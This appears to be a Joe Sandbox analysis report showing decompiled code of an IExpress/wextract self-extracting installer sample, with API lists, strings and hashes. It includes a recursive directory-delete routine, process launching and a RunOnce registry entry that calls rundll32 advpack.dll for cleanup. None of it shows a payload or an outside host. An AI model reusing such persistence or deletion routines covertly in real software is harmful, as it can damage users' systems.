				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x868004; // 0xb82e2007
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00866CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00861680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E008616B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00861680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E008616B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E008616B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E0086658A( &_v280, 0x104, 0x861140);
								E00862390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00862398
0x0086239e
0x008623a3
0x008623a5
0x008623ae
0x008623b3
0x008624cb
0x008624d2
0x008624d3
0x008624d4
0x008624df
0x008623c2
0x008623d1
0x008623db
0x008623e4
0x008623f6
0x008623fc
0x00862401
0x00000000
0x00000000
0x00000000
0x00000000
0x00862407
0x00862407
0x00862408
0x00862411
0x0086241f
0x0086247a
0x00862483
0x00862495
0x008624a3
0x00862421
0x0086242f
0x00862453
0x0086245d
0x00862466
0x00862472
0x00862472
0x0086242f
0x008624af
0x008624b5
0x008624be
0x008624c5
0x00000000
0x008624c5

APIs

FindFirstFileA.KERNELBASE(?,00868A3A,008611F4,00868A3A,00000000,?,?), ref: 008623F6
lstrcmpA.KERNEL32(?,008611F8), ref: 00862427
lstrcmpA.KERNEL32(?,008611FC), ref: 0086243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00862495
DeleteFileA.KERNEL32(?), ref: 008624A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 008624AF
FindClose.KERNELBASE(00000000), ref: 008624BE
RemoveDirectoryA.KERNELBASE(00868A3A), ref: 008624C5

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: e5834c1847340784075cd5d0a81e9dd4efed372dfb98de6ab7c699b4ebcafc2f
Instruction ID: a36fe9eb0f414d22bd47348f94fd00ed7022d7299d3f567f5f449224c1f39ff2
Opcode Fuzzy Hash: e5834c1847340784075cd5d0a81e9dd4efed372dfb98de6ab7c699b4ebcafc2f
Instruction Fuzzy Hash: 64319031604A40ABC720EB68CC8DAEB73ECFBC5305F0A492DF556D6291EF7499098B57

Uniqueness

Uniqueness Score: -1.00%

Function 00863FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00863FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0x868004; // 0xb82e2007
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00866CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0x869124 = E00866285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E008644B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0x868a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0x869a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0x869a2c = _t44;
						}
					}
				}
				E0086411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0x869a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00863fef
0x00863ffa
0x00864001
0x00864008
0x0086400a
0x0086400b
0x00864010
0x0086410a
0x0086411a
0x0086411a
0x0086401c
0x0086401d
0x0086401e
0x0086401f
0x00864033
0x0086403b
0x008640ca
0x008640e9
0x008640f8
0x00864101
0x00864106
0x00864106
0x00864108
0x00864108
0x00000000
0x00864108
0x00864049
0x0086405c
0x00864062
0x00864068
0x0086406e
0x00864070
0x00864077
0x0086407f
0x00864089
0x0086408b
0x0086408b
0x00864089
0x00864077
0x00864091
0x0086409c
0x008640a8
0x008640b8
0x00000000
0x008640c2
0x00000000
0x008640c2

APIs

CreateProcessA.KERNELBASE ref: 00864033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00864049
GetExitCodeProcess.KERNELBASE ref: 0086405C
CloseHandle.KERNEL32(?), ref: 0086409C
CloseHandle.KERNEL32(?), ref: 008640A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 008640DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 008640E9

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 69e688931265a5654ff799d7fdc46d462de29c1563c48609909b0a24a4b86c5c
Instruction ID: 6c3b1c3d623bdcad5f7cdaf121c0ee33dd30baff9124f735c2fa0a8b44725d36
Opcode Fuzzy Hash: 69e688931265a5654ff799d7fdc46d462de29c1563c48609909b0a24a4b86c5c
Instruction Fuzzy Hash: 7631D131640618BBEB209F65DC49FAB77BCFB95700F1221A9F645E21A1CA708C85CF62

Uniqueness

Uniqueness Score: -1.00%

Function 00862BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00862BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x86a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x869124 = 0;
				if(E00862CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00862F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E008652B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x868a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x869a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00861F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x868588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x869124; // 0x0
				return _t7;
			}

0x00862c03
0x00862c0d
0x00862c18
0x00862c20
0x00862c2e
0x00862c32
0x00862c36
0x00862c3d
0x00862c43
0x00862c45
0x00862c47
0x00862c49
0x00862c4e
0x00862c4e
0x00862c47
0x00862c32
0x00862c20
0x00862c50
0x00862c54
0x00862c57
0x00862c64
0x00862c66
0x00862c6b
0x00862c6d
0x00862c74
0x00862c76
0x00862c7c
0x00862c7e
0x00862c87
0x00862c89
0x00862c89
0x00862c87
0x00862c7c
0x00862c74
0x00862c8e
0x00862c95
0x00862c98
0x00862c98
0x00862c9e
0x00862ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00866BB0,00860000,00000000,00000002,0000000A), ref: 00862C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00866BB0,00860000,00000000,00000002,0000000A), ref: 00862C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00862C28
CloseHandle.KERNEL32(00000000,?,?,00866BB0,00860000,00000000,00000002,0000000A), ref: 00862C98

Strings

HeapSetInformation, xrefs: 00862C22
Kernel32.dll, xrefs: 00862C13

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 7e7f4d95430bdf2185f1b536f109d2346339bbfc7b3e2f046f9ea4fac139b5c3
Instruction ID: e3a1492fa0eaab6bfc616f23b08b79a831d9ccae0b1aaac87a0c42a28867d698
Opcode Fuzzy Hash: 7e7f4d95430bdf2185f1b536f109d2346339bbfc7b3e2f046f9ea4fac139b5c3
Instruction Fuzzy Hash: 9D114C31200B059BCB206BB8AC99A2F375DFB84384B0B1055F845F7391DE78DC41CA62

Uniqueness

Uniqueness Score: -1.00%

Function 00866F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00866F40() {

				SetUnhandledExceptionFilter(E00866EF0); // executed
				return 0;
			}

0x00866f45
0x00866f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00866F45

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: b191f09cacc32c5fae8b0363f72893a3fafe906a1321ea123125afbeb36ed331
Instruction ID: fc79ec63ec572cc47eeb60fe566efb5a2c2bd00371c1f15e479d0042eda46e55
Opcode Fuzzy Hash: b191f09cacc32c5fae8b0363f72893a3fafe906a1321ea123125afbeb36ed331
Instruction Fuzzy Hash: AA9002642511804797141B70DD194157591BA4E602B936460E122D4594EBB590505952

Uniqueness

Uniqueness Score: -1.00%

Function 0086202A Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0086202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x868004; // 0xb82e2007
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E00866CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E0086171E("wextract_cleanup0", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup0", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E0086658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x869a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x8691e4;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - 0x8691e5;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - 0x8691e5);
						if(_t90 != 0) {
							 *0x868580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push("C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
							E0086171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup0", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E008644B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E0086658A( &_v268, 0x104, 0x861140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x868530 = _t66;
				goto L23;
			}

0x0086202a
0x00862035
0x0086203c
0x00862041
0x00862050
0x0086205f
0x00862064
0x0086206f
0x0086208c
0x00862094
0x00862257
0x00862266
0x00862266
0x0086209a
0x0086209b
0x0086209d
0x008620aa
0x008620af
0x008620c9
0x008620d1
0x00000000
0x00000000
0x008620d3
0x008620da
0x00000000
0x00000000
0x00000000
0x008620da
0x008620e2
0x00862103
0x0086210e
0x00862116
0x00862122
0x00862128
0x0086212c
0x00862179
0x00862194
0x008621de
0x008621e4
0x00862256
0x00862256
0x00000000
0x00862256
0x00862196
0x00862196
0x0086219c
0x0086219f
0x0086219f
0x008621a1
0x008621a2
0x008621a6
0x008621a8
0x008621b0
0x008621b0
0x008621b2
0x008621b3
0x008621bc
0x008621c7
0x008621cb
0x008621f1
0x008621f6
0x008621fd
0x008621ff
0x008621ff
0x00862204
0x00862213
0x00862218
0x0086221d
0x0086221d
0x00862220
0x00862220
0x00862222
0x00862223
0x00862229
0x0086223d
0x00862249
0x00862250
0x00000000
0x00862250
0x008621d2
0x008621d9
0x00000000
0x008621d9
0x0086213a
0x00862141
0x00862144
0x0086214c
0x00000000
0x00000000
0x00862163
0x00862172
0x00862172
0x00000000
0x00862163
0x008620ea
0x008620f0
0x00000000

APIs

memset.MSVCRT ref: 00862050
memset.MSVCRT ref: 0086205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 0086208C

Part of subcall function 0086171E: _vsnprintf.MSVCRT ref: 00861750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008620C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008620EA
GetSystemDirectoryA.KERNEL32 ref: 00862103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00862122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 00862134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00862144
GetSystemDirectoryA.KERNEL32 ref: 0086215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0086218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008621C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 008621E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup0,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 0086223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00862249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00862250

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008621A8, 00862204
%s /D:%s, xrefs: 008621FF, 00862210
wextract_cleanup0, xrefs: 008620A5, 008620BE, 008620F0, 00862232
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 008621F6
DelNodeRunDLL32, xrefs: 0086212E
advpack.dll, xrefs: 00862109
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00862082
wextract_cleanup%d, xrefs: 0086209E

Memory Dump Source

Source File: 00000000.00000002.461702172.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.461647733.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461734712.0000000000868000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.461756512.000000000086C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_W7ANVukbbj.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup0
API String ID: 178549006-3765599613
Opcode ID: 7c576992cf84701b01662a56d23b65b4b9db24b33d5f802f2e8cd7cc4dd4831d
Instruction ID: c1ccbb6d02372d1561b7acdc0cd0b79dcbfc296107608ab4f8448ec15d464613
Opcode Fuzzy Hash: 7c576992cf84701b01662a56d23b65b4b9db24b33d5f802f2e8cd7cc4dd4831d
Instruction Fuzzy Hash: 7B512571A00618EBDB249B64DC4DFEA772CFB51700F0202A4FA59E7291EAB59D488F51

Uniqueness

Uniqueness Score: -1.00%

Function 008655A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E008655A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x868004; // 0xb82e2007
				_v8 = _t28 ^ _t110;
				_t2 = E0086468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E0086468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x869a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x868b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x868a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00866517(_t82, 0x7d2, 0, E00863210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x869a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0x8691e4;
									_t40 = GetTempPathA(0x104, 0x8691e4); // executed
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00861781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00866952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E0086597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00862630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E0086658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0x8691e4;
																					E00861781(0x8691e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00865467(0x8691e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00862630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E0086597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00865467(0x8691e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0x8691e4;
											_t70 = E00862630(0, 0x8691e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0x8691e4;
												_t71 = E00865467(0x8691e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E0086597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0x868b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00865467(0x868b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E008644B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E008644B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0x869124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E008644B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0x869124 = E00866285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00866CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x008655ab
0x008655b2
0x008655c9
0x008655d5
0x008655d9
0x00865600
0x00865605
0x0086560a
0x0086560c
0x00865638
0x00865641
0x00865643
0x00865645
0x00865645
0x0086564c
0x00865652
0x00865657
0x00865659
0x00865696
0x0086569c
0x0086589f
0x008658a7
0x008658ac
0x008658b3
0x008658b5
0x008656a2
0x008656a2
0x008656a8
0x00000000
0x008656ae
0x008656ae
0x008656b9
0x008656bf
0x008656c1
0x008656f3
0x008656f3
0x00865705
0x0086570a
0x00865711
0x00865717
0x00865724
0x00865726
0x00865729
0x00865730
0x00865737
0x0086573d
0x00865740
0x00000000
0x00000000
0x00000000
0x00000000
0x0086572b
0x0086572b
0x0086572e
0x00865742
0x00865742
0x00865745
0x0086576b
0x0086576b
0x00000000
0x00865747
0x00865747
